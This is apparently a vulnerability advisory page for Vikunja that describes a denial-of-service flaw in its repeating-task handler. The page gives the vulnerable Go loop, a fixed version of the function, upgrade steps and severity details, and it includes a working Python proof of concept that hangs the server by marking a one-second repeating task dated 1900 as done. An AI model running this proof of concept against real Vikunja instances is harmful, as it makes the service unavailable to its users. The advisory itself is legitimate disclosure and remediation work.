Skip to content

GHSA-r4fg-73rc-hhh7 CVE-2026-35599 GO-2026-5608

Vikunja has Algorithmic Complexity DoS in Repeating Task Handler

Medium Go
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.35%
Chance of exploitation in the next 30 days. Higher than 28.37% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-407 Inefficient Algorithmic Complexity
Fix
2.3.0
Upgrade code.vikunja.io/api to this version or later

Description

Summary

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    for {
        t = t.Add(duration)
        if t.After(now) {
            break
        }
    }
    return t
}

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests, time

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

# create task with repeat_after=1 second and a date far in the past
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,
    json={"title": "DoS", "repeat_after": 1,
          "due_date": "1900-01-01T00:00:00Z"}).json()

# mark done - triggers the vulnerable loop
start = time.time()
try:
    r = requests.post(f"{API}/tasks/{task['id']}", headers=h,
        json={"title": "DoS", "done": True}, timeout=120)
    print(f"Response: {r.status_code} in {time.time()-start:.1f}s")
except requests.exceptions.Timeout:
    print(f"TIMEOUT after {time.time()-start:.1f}s")

Output:

TIMEOUT after 60.0s

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Impact

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

Recommended Fix

Replace the O(n) loop with O(1) arithmetic:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    if duration <= 0 {
        return t
    }
    diff := now.Sub(t)
    if diff <= 0 {
        return t.Add(duration)
    }
    intervals := int64(diff/duration) + 1
    return t.Add(time.Duration(intervals) * duration)
}

Found and reported by aisafe.io

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
< 2.3.0
2.3.0
code.vikunja.io/api
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.vikunja.io/api Go → 2.3.0

go
go get code.vikunja.io/api@v2.3.0 && go mod tidy

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-407: Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor